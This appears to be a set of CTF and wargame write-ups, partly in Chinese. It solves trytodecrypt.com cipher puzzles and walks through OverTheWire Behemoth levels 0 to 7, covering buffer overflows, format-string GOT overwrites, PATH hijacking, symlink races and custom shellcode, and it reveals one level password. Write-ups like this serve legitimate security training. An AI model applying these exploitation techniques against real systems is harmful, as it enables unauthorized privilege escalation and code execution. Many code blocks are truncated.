WeChall - Training - Crypto - Caesar II
WeChall - Training - Stegano I
WeChall - ASCII
WeChall - WWW-Robots
WeChall - Training - Crypto - Caesar I
trytodecrypt.com — hard (13-18)
tryptodecrypt.com
Hard 级别的密钥嵌入在密文结构本身。
Text 13
59656A6B6F9F656A67746767
首字节 0x59 (89) 为全局 key。后续每字节减 key 得 charset 位置。
1 | def decode_text13(ct): |
Text 14
6F5657A6606B7D9C7480649D7A6B757D9C70816B6CB4
前 3 字节 [0x6F, 0x56, 0x57] 为旋转 key。后续每字节依次减去对应 key。
1 | def decode_text14(ct): |
Text 15
574168755997984F7A7E76AD6954A662538F764F7A5C4F876544
前 6 位 hex 是三个 2 位子密钥 (57, 41, 68)。子密钥交替加密后续字符(密钥 1 加密第 4/7/10...个字符)。字符加密 = 子密钥 + 字符专用偏移量。
第一层:静态替换表
每个字符硬编码一个唯一的偏移量,跟字符集索引无关:
1 | a→0x27 b→0x0b c→0x41 d→0x45 e→0x0e ... |
这就是个查表替换,只不过替换结果不是另外一个字符,是一个数字。
第二层:类维吉尼亚加密
拿替换后的数字,加上循环密钥(57→41→68→57→…),得到最终密文:
1 | A → 查表得 0x1e → +密钥 0x57 → 0x75 |
加密工具虽然每请求随机化(Hard 特性),但是同一个字符在同一个位置的加密结果每次都一样。所以:
- 加密 "aaaaaa" → 看密文的重复规律,发现每 3 个字节一个周期 → 密钥长度 3
- 加密 "aaaaaaaaaaaa" → 同一位置加密 "a" 多次 → 确认 "a" 的密文总是 0x7e(当密钥=0x57时)
- 加密 "ba"、"ca"、"da"… → 算出每个字符的偏移量
- 密钥值本身:从密文前 6 位直接读出来的(这就是为什么说密钥嵌在密文结构里)
1 | CHAR_OFF = { |
Text 16
32632E3149844B82115794BA78AD87C36DA01148707080C65459255C2C6487B02851
每 4 位 hex 一组(2 位偏移 + 2 位编码字符)。编码字符 - 偏移 = 字符集索引。
编码:0=00, 1=01, ..., 9=09, a=0A, ..., z=23, A=24, ..., Z=3D, space=46, fullstop=40。
1 | def decode_text16(ct): |
Text 17
5D2EAF346C9271B7489BBA3A52326752248C2255826771378D741E48205A
密文前半为密钥,后半为编码数据。密钥 - 编码数据 = 字符集索引。
1 | def decode_text17(ct, reverse=False): |
Text 18
35445FA0D18F47618981AE5D3A98A5138EAE2A303A5D688B6C4461703B902F308F5F125F7725
与 Text 17 相同算法,但明文在加密前被反转了。
1 | def decode_text18(ct): |
trytodecrypt.com — middle (7-12)
tryptodecrypt.com
字符集
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?!(71
个字符)。
Text 7
21052F151200271512413E35101A152F3511
固定 2-hex 替换表(步长 2)。
same script as easy level
1 | ❯ python decrypt_cipher.py 7 2 |
Text 8
eaidagdagenpmgodlceijmgoefodlceijcnllonmgodlcfilfgamgodnnflgfgafilmgofildihdagmgoefodlccnlcnledddagmgoedddagfobdagedd
3 字符一组的替换密码。
1 | #!/usr/bin/env python3 |
1 | ❯ python decrypt_cipher_alpha.py 8 3 |
Text 9
6224F12C1C3FAA5AA54836B3C446D6415E74
反转输入后,每字符映射到固定 3-hex 码。解码时反向操作。
1 | #!/usr/bin/env python3 |
1 | ❯ echo "6224F12C1C3FAA5AA54836B3C446D6415E74" | python trytodecrypt_cipher_reverse.py 9 3 | rev |
Text 10
261129152E152B
7 -> 9 单表替换 每个字符固定映射到一个密文块,不依赖位置
10 -> 12 多表替换 映射关系随位置变化(Vigenère 风格)
步长 2,偏移量 [16, 17, 18]
循环。enc = charset_pos + offset[pos % 3]。
1 | #!/usr/bin/env python3 |
1 | ❯ python trytodecrypt_solve.py -v 10 -c "8rubc5nmtqala9gvdj8t7cigqn" -s 2 -d |
Text 11
3785824AD56B2531A7150DF44C21434A61E63F040A42F2012BC2F43F0AD535D24D46013213866D7E0
步长 3 hex,6 位循环。基值
[168, 282, 567, 57, 245, 180],乘数
[12, 47, 21, 19, 35, 9]。
密文值 = 基值[位置] + 字符位置 × 倍率[位置]
same as Text 10
1 | ❯ python trytodecrypt_solve.py -v 11 -c "8rubc5nmtqala9gvdj8t7cigqn" -s 3 -d |
Text 12
00D02703603C0450461340870A50B50EA10A0BD133
基值为三角数 T(pos+1) = (pos+1)(pos+2)/2,步长 (pos+2)/2。
1 | C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " |
trytodecrypt.com — easy (1-6)
tryptodecrypt.com
字符集
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?!(71
个字符)。
easy 都是简单替换密码。
网站给一个加密工具,输入明文返回密文。脚本就利用这个 oracle 做 Chosen-Plaintext Attack。
1 | import subprocess, re, sys |
Text 1
131017171A48221A1D170F
偏移 2。
1 | C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " |
Text 2
4A3E374A4973483F3D3E4A
偏移 42(ASCII 表偏移)。
1 | C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " |
Text 3
0A0B1339150B1139070A0B13390510
偏移 -13(58 mod 71)。hex 值小于 13 时直接减会负索引,需要
% 71。
1 | C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " |
Text 4
0C02D8010D0C02D8010606D8101402FCD80F0603D8FC0600DA
enc = (30 - charset_pos) % 256
1 | $ python script.py 4 2 |
Text 5
90DE633F425148DE51546CDE725466DE3F2A6936DE4263CCDEAB362A3372DE39545DDE633F36DE51366F63DE545136D8
enc = charset_pos * 3 + 12
1 | $ python script.py 5 2 |
Text 6
4D586CFC2DB449D47B0CF99C3BC46CFC7B0C
固定 4-hex 替换表。
1 | $ python script.py 6 4 |
OverTheWire - Behemoth
behemoth
behemoth.labs.overthewire.org 2221
level 0 → level 1
1 | SSH Information |
1 | behemoth0@behemoth:~$ ls -la /behemoth/ |
Behemoth is a binary exploitation wargame with 9 levels (0-8). Focuses on real-world vulnerabilities commonly found in the wild: buffer overflows, format strings, race conditions, and privilege escalation.
Tools: gdb/pwndbg, objdump, strings, ltrace, strace, python3/pwntools, pattern_offset.rb, nasm, Ghidra.
1 | behemoth0@behemoth:~$ /behemoth/behemoth0 |
The binary compares input against a hardcoded password encrypted with
memfrob() (XOR with 42). Use strings, ltrace,
or set a breakpoint at memfrob() in gdb to find the plaintext.
1 | behemoth0@behemoth:~$ ltrace /behemoth/behemoth0 |
The password is revealed by ltrace: eatmyshorts. Enter
it to get a shell as behemoth1.
1 | behemoth0@behemoth:~$ /behemoth/behemoth0 |
level 1 → level 2
Level 1: Stack-based buffer overflow. The binary uses
gets() with no bounds checking. Exploit with ret2shellcode
(NX disabled).
Finding EIP offset
Use pwntools cyclic pattern:
1 | behemoth1@behemoth:/tmp/behemoth1$ python3 -c " |
1 | from pwn import * |
Payload
The binary doesn't zero environment variables, so store shellcode in
EGG env var. Use /tmp/behemoth1/getenv
(pre-compiled, source below) to find its address:
1 | behemoth1@behemoth:/tmp/behemoth1$ export EGG=$(python3 -c " |
Exploit with the env address:
1 | behemoth1@behemoth:/tmp/behemoth1$ (python3 -c " |
level 2 → level 3
Level 2: PATH hijacking. The binary calls
system("touch <pid>") without an absolute path. It
also calls system("cat <filename>") after sleeping
for 2000 seconds.
Create a fake touch executable in /tmp that cats the
password, then modify PATH:
1 | behemoth2@behemoth:/tmp$ echo '#!/bin/bash' > touch |
Alternative symlink approach: create a symlink named after the PID pointing to the password file before cat runs (within the 2000 second window).
[credential redacted]level 3 → level 4
Level 3: Format string vulnerability. The binary calls
printf(user_input) directly — the format string is
user-controlled. Use %n to overwrite puts@GOT and redirect
execution to shellcode.
Finding the format string offset
1 | behemoth3@behemoth:/behemoth$ /behemoth/behemoth3 |
Our input (AAAABBBB) appears at positions 1 and
2 on the format string stack (0x41414141, 0x42424242). This
means the first 8 bytes of our input are directly addressable via
%1$hn and %2$hn.
Binary properties
1 | from pwn import * |
Exploit strategy
- Store shellcode in an environment variable
EGG - Find
EGGaddress using/tmp/behemoth1/getenv(pre-compiled, source below) - Overwrite puts@GOT with the EGG address using
%hnwrites
Shellcode in environment
1 | behemoth3@behemoth:/tmp/behemoth3$ export EGG=$(python3 -c " |
The returned address shifts with argv length. To keep it stable, pad
argv[0] when running the binary to match the getenv call
length:
1 | behemoth3@behemoth:/tmp/behemoth3$ ARGV0=$(python3 -c "print('/behemoth/behemoth3' + ' ' * 40)") |
Format string calculation
puts@GOT = 0x0804b218. The EGG address has two 16-bit halves: - low =
egg_addr & 0xffff - high =
(egg_addr >> 16) & 0xffff
Payload structure: 1
2[puts@GOT addr (4B)] [puts@GOT+2 (4B)] [fmt specifiers] [newline]
↑ arg 1 for %1$hn ↑ arg 2 for %2$hn
The first 8 bytes are printed as literal output, then
%<val1>c pads to reach low, then
%<val2>c pads further to reach high:
1 | from pwn import * |
Run
1 | behemoth3@behemoth:/tmp/behemoth3$ python3 -c " |
If the EGG address was stable (same argv length), this overwrites
puts@GOT. When the binary calls
puts("aaaand goodbye again."), it jumps to the shellcode
instead.
Caveat: The env address varies with argv[0] length. If the exploit doesn't work, find the EGG address and exploit binary with identical argv lengths, or embed shellcode directly in the format string buffer (address found via stack leak).
[credential redacted]level 4 → level 5
Level 4: The binary checks for a file at
/tmp/<pid> and if it exists, reads and prints its
contents. The PID is obtained from getpid(). Create a
symlink from /tmp/<pid> to
/etc/behemoth_pass/behemoth5.
The simplest approach: pre-create symlinks covering a wide PID range, then loop running the binary:
1 | behemoth4@behemoth:/tmp/behemoth4$ for i in $(seq 1 65535); do |
This can take a few seconds to minutes—each run has a PID, and you need one that falls in your symlink range.
[credential redacted]level 5 → level 6
Level 5: Insecure data exfiltration over UDP. The binary reads
/etc/behemoth_pass/behemoth6 and sends it to
127.0.0.1:1337 via UDP.
Set up a UDP listener on port 1337 in one session, then run the binary in another:
1 | # Session 1 - listener |
level 6 → level 7
Level 6: Shellcode execution gated by string comparison.
behemoth6 runs behemoth6_reader via
popen(), reads its output, and compares it to "HelloKitty"
using strcmp(). If they match, a shell is spawned as
behemoth7.
behemoth6_reader reads shellcode.txt and
executes it as shellcode — but filters out byte 0x0b (int 0x80 / execve
syscall).
Write shellcode that prints "HelloKitty" to stdout without using 0x0b:
1 | from pwn import * |
Extract the shellcode bytes:
1 | behemoth6@behemoth:/tmp/behemoth6$ python3 -c " |
Or if you prefer NASM, extract with pwntools instead of
grep -Po:
Write to shellcode.txt and run:
1 | behemoth6@behemoth:/tmp/behemoth6$ python3 -c " |
Level 7 → Level 8
Level 7: strcpy() buffer overflow with guardrails. The
binary:
- Zeroes all environment variables with
memset()at startup — no env shellcode - Scans argv[1] first 512 bytes for non-alphanumeric chars via
__ctype_b_loc+isalnum()— exits if found - Uses
strcpy()without bounds checking — classic overflow
1 | behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "\x90"') |
The loop counter compares against 0x1ff (511), so only
the first 512 bytes are checked. Everything past byte
512 bypasses the filter.
Finding EIP offset
1 | behemoth7@behemoth:/behemoth$ gdb -q ./behemoth7 |
Offset is 528.
Payload strategy
First 512 bytes can only contain alphanumeric bytes —
'A' is fine. Non-alpha payload goes past byte 512. Since
the shellcode + return address (after EIP) spans positions 528+, we can
put a long NOP sled after the return address on the
stack, pointed to by ESP after ret:
1 | [A × 528] [RET → ESP] [NOP sled × 200] [shellcode] |
Shellcode with setreuid
Bash/dash drops setuid privileges on startup if real UID ≠ effective
UID. The binary runs with euid=behemoth8 but ruid=behemoth7, so a plain
execve("/bin//sh") shell will have uid=behemoth7 and can't
read the password. Fix: call setreuid(13008, 13008)
(behemoth8 UID) first.
1 | from pwn import * |
Total: 41 bytes. A 200-byte NOP sled before it provides plenty of landing zone.
Finding the stack address
Crash with a placeholder (4 Bs at EIP offset), then read
ESP — it points right at the NOP sled:
1 | behemoth7@behemoth:/tmp$ python3 -c " |
Stack is at 0xffffd8f0 — stable per session (ASLR
disabled server-side), varies between logins.
Exploit
1 | behemoth7@behemoth:/tmp$ /behemoth/behemoth7 $(python3 -c ' |
Replace 0xffffd8f0 with the ESP value from your gdb
session. If the shell doesn't spawn, the address missed the NOP sled —
adjust ±16.